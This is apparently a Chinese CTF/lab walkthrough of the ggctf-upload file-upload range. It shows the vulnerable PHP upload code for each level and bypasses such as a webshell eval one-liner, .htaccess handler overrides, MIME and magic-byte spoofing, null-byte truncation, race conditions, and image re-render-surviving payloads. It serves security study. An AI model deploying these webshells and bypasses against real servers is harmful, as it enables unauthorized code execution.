File Upload: ggctf-upload
《学了一天 file-uploads之直接换到国光师傅的靶场.jpg》 主要是file-uploads 看上去还有很多的 open的issue,我自己闯关的时候也碰到了很多问题,在docker里面很多环境内容改起来也不舒服,刚好看到国光师傅写的这个ggctf-upload,有配套的wp并且长得也好看就是了
JS
第一关是一个前端后缀名检查绕过
解法一:抓包修改白名单
用Burp拦截之后增加php到whitelist中就好了(白名单再强能被改就是白给233)
上传成功,用蚁剑连接一下试试(这里可以在网页源码或者Burp的返回请求中看到图片的链接,如果临时文件存放的名字被改了就用得上)
用到的一句话木马
<?php @eval($_POST["a"]);?>
PHP中@的作用,本质上就是可以忽略所有的错误信息
解法二:禁用JS
利用浏览器的选项或者插件禁用JS之后,客户端的过滤就失效了
解法三:JS debug
在定义白名单出打上断点,然后刷新一下,步过之后修改白名单的内容即可(chrome可以直接在边上的Scopes中改,firefox直接console定义一下即可)
解析上传
自本文完成,国光的wp并未更新第二题,但是类似的利用很多,本文主要是利用.htaccess的特性来修改服务器对于文件的解析来实现绕过
- .htaccess的作用
.htaccess文件是Apache服务器下的一个配置文件,主要用于 相关目录 下的网页配置
其作用域为其所在目录与所有的子目录,但是如果子目录中的
.htaccess
会覆盖父目录的效果
因此我们通过上传一个 .htaccess
文件来修改 upload
目录下对于文件的解析来实现绕过
以此上传两个文件
-
.htaccess 将
trojan.jpg
文件当作php
来解析<!-- .htaccess --> <FilesMatch "trojan.jpg"> Sethandler application/x-httpd-php </FilesMatch>
以及含有一句话木马的 trojan.jpg
<?php @eval($_POST["a"]);?>
之后就可以用蚁剑测试连接成功(我这里发现测试连接性会报错,但是实际添加了连接是可以连接的)
感觉其实要是像upload-files一样把源码贴出来就好了233
最后我们来一起看一下php源码,主要是利用了黑名单过滤所有的webshell
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)['extension'];
$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
if (!in_array($ext, $blacklist)) {
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
$is_upload = true;
} else {
echo "<script>error();</script>";
}
} else {
echo "<script>black();</script>";
}
}
- basename()
- basename(string $path, string $suffix = “”): string path: 文件路径 suffix: 文件后缀 return: 文件名(有/无后缀)
- pathinfo
- pathinfo(string $path, int $flags = PATHINFO_ALL): array|string path: 文件路径 flags: 指定需要返回的内容{dirname, basename, extension, filename} return: 根据flags决定, 多个内容的话就会返回数组(默认全部)
MIME 绕过
首先我们根据提示信息来认识一下 MIME
媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。
MIME的组成结构非常简单;由类型与子类型两个字符串中间用 ‘/’ 分隔而组成。不允许空格存在。
- type 表示可以被分多个子类的独立类别。
- subtype 表示细分后的每个类型
通用的结构为:
type/subtype
MIME类型对大小写不敏感,但是传统写法都是小写。
然后查看源码
if (!empty($_POST['submit'])) {
if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) {
echo "<script>black();</script>";
} else {
$name = basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
$is_upload = true;
} else {
echo "<script>alert('上传失败')</script>";
}
}
}
这里检查的方式是检查 $_FILES['file']['type']
的值,这里我们来学习一下PHP的 superglobals
: $_FILES
,以及其相关的用法
- $_FILES
- PHP官网:“An associative array of items uploaded to the current script via the HTTP POST method.”
即一个存放所有通过
POST
方法上传的文件信息的数组
然后我们来看看 POST
上传中所包含文件的信息
- $_FILES[‘userfile’][’name’]
- 从客户端上传的文件的原始名字
- $_FILES[‘userfile’][’type’]
- 文件的MIME types,
- $_FILES[‘userfile’][‘size’]
- 文件的大小(bytes)
- $_FILES[‘userfile’][’tmp_name’]
- 用于存储文件将要存放在server的临时名字
- $_FILES[‘userfile’][’error’]
- 上传失败的错误信息
- $_FILES[‘userfile’][‘full_path’]
- 浏览器提交的完整路径? PHP8.1.0支持
接着我们来看本次文件上传的HTTP请求
是不是能发现我们刚刚提到过的 $_FILES
的信息?
userfile = “file”
$_FILES[‘userfile’][’type’] = “text/php”
$_FILES[‘userfile’][’name’] = “trojan.php”
因此我们通过抓包后修改 MIME
格式为白名单中的任意一个图片格式即可绕过
蚁剑连接测试成功
文件头绕过
题目提示给的信息已经很多全面了,每一个文件的开头都存放了响应的格式指示,因此我们的目标就是修改这个文件头来实现绕过
接着我们结合源码来看,后台首先还是检测了上题的 MIME
类型,需要修改一下,接着校验了三个图片格式的文件头是否存在于文件内
if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/jpg", "image/png", "image/gif"])) {
echo "<script>black();</script>";
} else if (!in_array(bin2hex($bin), ["89504E47", "FFD8FFE0", "47494638"])) {
echo "<script>black();</script>";
} else {
$name = basename($_FILES['file']['name']);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
$is_upload = true;
} else {
echo "<script>error();</script>";
}
}
那我们只需要用Burp截取请求之后,修改MIME类型以及加上文件头即可
蚁剑连接成功
JPEG (jpg),文件头:FFD8FF, ÿØÿ
PNG (png),文件头:89504E47, .PNG
GIF (gif),文件头:47494638, GIF8
HTML (html),文件头:68746D6C3E, html>
ZIP Archive (zip),文件头:504B0304, PK..
RAR Archive (rar),文件头:52617221, Rar!
Adobe Acrobat (pdf),文件头:255044462D312E, %PDF-1.
MS Word/Excel (xls.or.doc),文件头:D0CF11E0, ÐÏ.à
有缺陷的代码1
根据题目提示结合源码,我们得知这里用了一个黑名单来过滤所有的webshell以及htaccess后缀的文件,猜测绕过可能发生在方法 str_ireplace
身上
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
$is_upload = true;
} else {
echo "<script>error();</script>";
}
}
根据以前绕过类似黑名单的经历,这里的 str_ireplace
简单的将所有的匹配替换为空,非常的危险,我们可以通过复写拼接的手段来进行绕过过滤
例如 pphphp
第一个碰到的php被替换之后,就可以形成一个完整的php后缀了
蚁剑连接测试成功
有缺陷的代码2
因为提示与上一题基本类似,不过提到了手动改成了Windows的特性,因此我们直接一起来看一下源码吧
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_replace($blacklist, " ", $name);
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
$is_upload = true;
} else {
echo "<script>error();</script>";
}
}
发现这次的 str_replace()
方法替换的是空格,因此没办法用上一遍的套路
仔细一看,此replace非彼replace,这个 str_replace
是case sensitive而前一个的 str_ireplace
指的就是 case insensitive
那么我们用 Php
即可完成绕过
但是就像提示所说的那样,这题实际用蚁剑是没有办法成功连接的,因为毕竟只是模拟windows环境,本质上还是linux,不存在这样的漏洞
古老的漏洞 - 1
根据本题的提示,这是一个00漏洞,说其古老主要是因为只有在PHP版本小于5.3.4版本才有效,并且要求magic_quotes_gpc = Off的情况(我们在sqli-labs的学习中看到过这个)
结合源码来看,这里用了一个严格的白名单过滤,并且利用随机临时文件名,让我们无法使用 htaccess
来修改指定文件的配置
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "jpeg", "png", "gif");
if (in_array($ext, $whitelist)) {
$filename = rand(10, 99) . date("YmdHis") . "." . $ext;
$des = $_GET['road'] . "/" . $filename;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
$is_upload = true;
} else {
echo "<script>black();</script>";
}
} else {
echo "文件类型不匹配";
}
}
因此我们我们通过修改POST的文件路径在后面加上 trojan.php%00
,然后将上传的文件改成gif格式,这样在上面进行后缀判断的时候,用的就是 gif
,而进行存储的时候提取的后缀名就会因为 %00
的关系忽略最后的 gif
以及临时文件名的名字而只保存 trojan.php
最后通过蚁剑连接成功
古老的漏洞 - 2
这题同样是利用00截断,只不过是发生在了 POST
请求上面
这里别忘了用URL解码一下,因为不像上一题是放在url里面会自动解析
蚁剑连接成功
黑名单缺陷
看源码,观察到用了一个黑名单来过滤webshell,但是一看就比之前遇到过的黑名单短了很多,我们这里利用webshell会有很多的解析的变种来完成绕过
将文件的后缀改为 php4
即可完成绕过
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)['extension'];
$blacklist = array("asp","aspx","php","jsp","htaccess");
if (!in_array($ext, $blacklist)) {
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
$is_upload = true;
} else {
echo "<script>error();</script>";
}
} else {
echo "<script>black();</script>";
}
}
条件竞争
其实根据提醒我们已经可以有一个明确的思路了,就是我们利用系统一次只能处理一件事情的特性,通过同时发起上传以及访问的请求,导致服务器还来不及处理删除却先执行访问,导致webshell的写入
我们在结合源码来看,这里采用了白名单的手段避免了任何的绕过,所以我们来利用条件竞争来尝试绕过
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$ext = pathinfo($name)['extension'];
$upload_file = UPLOAD_PATH . '/' . $name;
$whitelist = array('jpg','png','gif','jpeg');
if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
if(in_array($ext,$whitelist)){
$rename_file = rand(10, 99).date("YmdHis").".".$ext;
$img_path = UPLOAD_PATH . '/'. $rename_file;
rename($upload_file, $img_path);
$is_upload = true;
}else{
echo "<script>black();</script>";
unlink($upload_file);
}
}
}
我们通过Burp的Intruder进行无限制的请求,一边上传文件,这将触发服务器进行审核以及删除,一边访问 shell.php
来调用,最终服务器会因为来不及删除而导致webshell被成功调用, trojan.php
被写入。
最终我们可以看到 trojan.php
被成功写入,同时用蚁剑测试连接成功
二次渲染
根据提示信息,我们知道我们所上传的图片马会被二次渲染,导致失效,因此我们分不同的图片格式来绕过 同时我们点击查看提示的按钮,可以发现url发生了变化,结合源码,我们发现这里可以用来解析我们上传成功绕过渲染的图片马,形成文件上传漏洞
<center><button type="button" class="btn btn-success" onclick="window.location.href=('?file=hint.html')">点击查看 “提示”</button></center><br>
<p class="lead">
目前很多网站都会对用户上传的图片再次压缩、裁剪等渲染操作,所以普通的图片马都难逃被渲染的悲剧,那么有没有那种可以绕过渲染的图片呢?<br/><br/>
<?php
include($_GET['file']);
?>
<center><button type="button" class="btn btn-success" onclick="window.location.href=('?file=hint.html')">点击查看 “提示”</button></center><br>
GIF
} else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname, $upload_file)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($upload_file);
if($im == false){
echo "<script>black();</script>";
@unlink($upload_file);
} else {
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($upload_file);
$is_upload = true;
}
} else {
echo "<script>error();</script>";
}
}
我们用 Hex Friend
对比一下原gif和上传后二次渲染的gif
然后将一句话木马插入到没有被修改的位置即可 可以看到经过二次渲染的图片仍然含有一句话木马
再利用发现的漏洞,解析上传成功的图片马,蚁剑测试连接成功
PNG
} else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname, $upload_file)){
//使
$im = imagecreatefrompng($upload_file);
if($im == false){
echo "<script>black();</script>";
@unlink($upload_file);
} else {
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($upload_file);
$is_upload = true;
}
}
-
前置知识
在介绍两种写入php一句话木马到PNG图片的方法之前,我们先来了解一下PNG图片的组成,参考janes师傅的文章:php imagecreatefrom* 系列函数之 png
PNG 图片有三种图像模式:索引彩色图像(index-color images),灰度图像(grayscale images),真彩色图像(true-color images), 其中索引彩色图像也称为基于调色板图像(Palette-based images)。不同的图片模式主要是包含的信息,展现的图像不一样(色彩?)
一个PNG文件油一个
png signature
以及多个png chunk
组成PNG signature: png 标识 : 我们之前提到过的,用来指示文件格式的头部,8bites 89 50 4E 47 OD 0A 1A 0A
PNG chunk: png 数据块 : PNG chunk又分为两种 - 关键数据块(critical chunk),标准数据块:
IHDR, IDAT, IEND
- 辅助数据块(ancillary chunks), 可选数据库:PLTE
PNG 数据块结构 : png数据块由四个部分组成: 1. length: 4 bytes 2. type: 4 bytes 3. data 4. CRC: 4bytes
接下来我们再简单介绍一些上面提到的标准数据块的作用,详细的信息可以参考文章或者参考更加专业的文档
IHDR : 文件头数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中 只能有一个文件头数据块 。
PLTE : 调色板数据块PLTE(palette chunk)包含有与索引彩色图像(indexed-color image)相关的彩色变换数据,它仅与索引彩色图像有关,而且要放在图像数据块(image data chunk)之前。
IDAT : 图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。IDAT存放着图像 真正的数据信息
IEND : 图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。
根据文章的实验,只能向索引彩色图像(index-color images)的PLTE数据块插入php代码,其他都会被
imagecreatefrompng
渲染失效
-
写入
PLTE
数据块我们可以先利用imagemagick将图片转换为索引图像/基于调色板图像(Palette-based images)
convert png.png -type Palette png_trojan.png
之后使用脚本来进行一句话木马的输入
python2 poc_png.py -p '<?php @eval($_POST["a"]);?>' -o png_trojan.png png_trojan.png
尝试上传
查看二次渲染后的图片,发现一句话木马插入成功,蚁剑连接成功
-
写入IDAT数据块
利用脚本,
下载二次渲染之后的图片,检查一句话木马
shell利用成功
JPG
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname, $upload_file)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($upload_file);
if($im == false){
echo "<script>black();</script>";
@unlink($upload_file);
} else {
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($upload_file);
$is_upload = true;
}
}
我们首先上传一张图片
然后下载二次渲染之后的图片,用脚本注入php payload(可以改一下注入的payload): BlackFan / jpg_payload
php php jpg_payload.php [uploaded_jpg_image]
然后我们检查payload是否注入成功
再次上传,下载二次渲染后的图片查看
最后尝试解析和使用,成功
尝试了很多不同的图片,感觉就像国光师傅总结的那样,图片越大,payload越小越容易成功,因为之前上传了很多小的图片,一句话木马都被截断了,猜测可能是因为图片太小,同时一句话木马太长了占用关键的部分所以被替换了
- 大图片
- 短payload
- 先上传二次渲染之后,再执行脚本,再上传
move_uploaded_file 绕过
我们看一下源码先
发现是一个白名单,那么肯定又需要利用一些有漏洞的方法或者操作系统的特殊机制了
if (!empty($_POST['submit'])) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
echo "<script>error();</script>";
}
}else{
echo "<script>black();</script>";
}
}
这里的漏洞在Smile师傅的笔记中有提到,即 move_uploaded_file
会忽略/.
那么我们通过构造文件名为 trojan.php/.
即可绕过白名单,同时使webshell被正常解析
蚁剑连接成功
代码审计
因为是代码审计,我们直接来看代码
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
我们接着一块块来看源码中的审核机制以及我们对应的绕过
检查 MIME
,因此我们需要在Burp中修改 MIME
类型
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
检查我们提交的 save_name
字符串是否为空,有内容的话使用我们自定义的文件保存名,接着检查是否为数组,如果不是的话就要使用 explode()
方法将内容用 ‘.’
分隔为数组(感觉和其他语言中的 split()
方法很像)
- explode()
- explode(string $separator, string $string, int $limit = PHP_INT_MAX): array
- Returns an array of strings created by splitting the string parameter on boundaries formed by the separator.
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
接着取出数组最后一个元素进行后缀名校验
- end()
- end(array|object &$array): mixed
- Returns the value of the last element or false for empty array.
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}
我们可以通过在 save_name
这个变量处传入一个数组,使最后一个元素为白名单的图片格式,再想办法在最后的存储的时候,让最后一个元素的内容无效就行了
$file = [0=>'shell.php/', 2=>'png']
- reset()
- reset(array|object &$array): mixed
- Returns the value of the first array element, or false if the array is empty.
最后因为这里会拼接一个 '.'
,因此与之前的 '/'
构成我们上一关提到的 move_uploaded_file
的漏洞,即 /.
末尾的内容会被忽略,即可完成绕过,上传成功
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
上传成功使用蚁剑连接成功